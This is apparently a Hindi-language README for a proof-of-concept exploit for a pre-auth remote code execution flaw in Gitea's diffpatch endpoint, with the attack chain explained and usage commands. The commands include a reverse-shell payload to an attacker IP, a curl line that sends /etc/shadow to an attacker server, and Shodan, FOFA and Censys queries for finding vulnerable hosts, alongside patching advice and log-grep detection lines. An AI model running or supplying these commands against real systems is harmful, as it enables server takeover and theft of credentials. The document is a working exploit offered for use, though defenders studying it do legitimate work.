
CVE-2026-60004 प्री-ऑथ RCE एक्सप्लॉइट — Gitea <= 1.27.0 diffpatch git हुक इंजेक्शन (CVSS 9.8)
┌──────────────────────────────────────────────────────────────┐
│ CVE-2026-60004 │ Gitea Pre-Auth RCE │ CVSS 9.8 (CRIT) │
│ diffpatch → git hook injection │ v1.17–1.27.0 affected │
└──────────────────────────────────────────────────────────────┘
| विशेषता | विवरण |
|---|---|
| CVE ID | CVE-2026-60004 |
| CVSS स्कोर | 9.8 (गंभीर) |
| CWE | CWE-94 (कोड इंजेक्शन) |
| प्रभावित संस्करण | Gitea 1.17 से 1.27.0 तक |
| समाधान | Gitea 1.27.1 (27 जुलाई 2026 को जारी) |
| भेद्य एंडपॉइंट | POST /api/v1/repos/{owner}/{repo}/diffpatch |
| खोजकर्ता | Shai Rod (NightRang3r) |
| EPSS स्कोर | 0.95 (95% शोषण संभावना) |
यह भेद्यता Gitea के diffpatch API एंडपॉइंट द्वारा उपयोगकर्ता-प्रदत्त Git पैच को संसाधित करने के तरीके का दुरुपयोग करती है:
बेयर क्लोन ट्रैप — यह एंडपॉइंट एक बेयर अस्थायी क्लोन बनाता है (कोई वर्किंग ट्री नहीं), जिसका अर्थ है कि इसकी रूट डायरेक्ट्री ही $GIT_DIR होती है।
पैच प्रोसेसिंग — git apply को इन फ्लैग के साथ कॉल किया जाता है: --index, --recount, --cached, --binary, और (Git ≥ 2.32 के साथ) थ्री-वे मर्ज फॉलबैक के लिए -3।
एड/एड कोलिज़न — एक ही दुर्भावनापूर्ण पैच को दो बार भेजकर, हमलावर एड/एड कॉन्फ्लिक्ट उत्पन्न करता है। Git का थ्री-वे फॉलबैक पैच में दिया गया फ़ाइल पथ सीधे डिस्क पर लिख देता है — जिससे --cached प्रतिबंध बायपास हो जाता है।
हुक इंजेक्शन — हमलावर पैच को इस तरह तैयार करता है कि फ़ाइल पथ hooks/post-index-change हो। चूँकि क्लोन बेयर होता है, यह सीधे Git की hooks डायरेक्ट्री में पहुँच जाता है।
कोड एक्सीक्यूशन — जब Git इंडेक्स को अपडेट करता है, तो वह स्वचालित रूप से post-index-change हुक को निष्पादित करता है, जिससे हमलावर के शेल कमांड के रूप में चलते हैं।
Attacker Gitea Server
│ │
├─ POST /user/sign_up ────────────────►│ Register new user
│ │
├─ POST /api/v1/user/repos ───────────►│ Create private repo (auto-init)
│ │
├─ GET /api/v1/repos/.../branches ────►│ Get commit SHA
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 1st patch: plant hook
│ │ Git creates bare clone
│ │ Applies patch (--cached)
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 2nd patch: SAME PATCH
│ (same exact patch!) │ ADD/ADD COLLISION!
│ │ Git -3 fallback writes to disk
│ │ hooks/post-index-change created
│ │ Git fires post-index-change hook!
│ │ ┌─ Command executes ─┐
│ │ │ reads /etc/passwd │
│ │ │ stores in git blob │
│ │ │ creates rce-proof │
│ │ │ branch │
│ │ └────────────────────┘
│ │
├─ GET /api/v1/repos/.../raw/proof ───►│ Retrieve output
│◄─────────────────────────────────────┤ /etc/passwd contents
│ │
# Install dependencies (uses stdlib only — no pip needed!)
# Python 3.7+ required
# Quick one-liner
python3 cve-2026-60004-poc.py --url http://target --cmd "id"
# Mode 1: Full-Auto (register + create + exploit + retrieve)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto
# Mode 2: Semi-Auto (existing credentials)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode semi-auto \
--user myuser --pw 'MyPass123!'
# Mode 3: Manual (existing user + repo)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode manual \
--user myuser --pw 'MyPass123!' --repo existing-repo
# Mode 4: Check Only (non-intrusive detection)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode check
# Execute custom command
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "whoami; id; env"
# Reverse shell (base64 encoded)
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' | base64)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "echo $PAYLOAD | base64 -d | bash"
# Exfiltrate data via curl
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "curl http://your-server/$(cat /etc/shadow | base64 -w0)"
# Run against a single target
nuclei -t CVE-2026-60004.yaml -u http://target:3000
# Run against multiple targets
nuclei -t CVE-2026-60004.yaml -l targets.txt -o results.txt
# With debugging output
nuclei -t CVE-2026-60004.yaml -u http://target:3000 -debug -v
Gitea को संस्करण 1.27.1 या उसके बाद के संस्करण में अपडेट करें:
# Docker
docker pull gitea/gitea:1.27.1
# Binary
wget https://dl.gitea.com/gitea/1.27.1/gitea-1.27.1-linux-amd64
ओपन रजिस्ट्रेशन अक्षम करें (इससे हमले की सतह कम होती है):
# app.ini
[service]
DISABLE_REGISTRATION = true
Gitea को न्यूनतम-विशेषाधिकार (least-privilege) सर्विस अकाउंट के साथ चलाएं
diffpatch एंडपॉइंट पर बार-बार आने वाले POST अनुरोधों की निगरानी करें
# Search for diffpatch abuse in Gitea logs
grep -E "POST.*diffpatch" /var/lib/gitea/log/gitea.log
# Check for suspicious repo creation + immediate diffpatch use
grep -E "(CreateRepository|diffpatch)" /var/lib/gitea/log/gitea.log
# Shodan
http.title:"Gitea"
http.favicon.hash:5247710
# FOFA
app="Gitea"
title="Gitea"
# Censys
services.software.product:"Gitea"
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग केवल उन्हीं सिस्टमों पर करें जिनके आप स्वामी हैं या जिनके परीक्षण की आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है और निम्नलिखित का उल्लंघन हो सकती है:
लेखक इस टूल के दुरुपयोग या इससे होने वाली क्षति के लिए कोई जिम्मेदारी नहीं लेता है।
MIT लाइसेंस — विवरण के लिए EQSTLab रिपॉजिटरी देखें।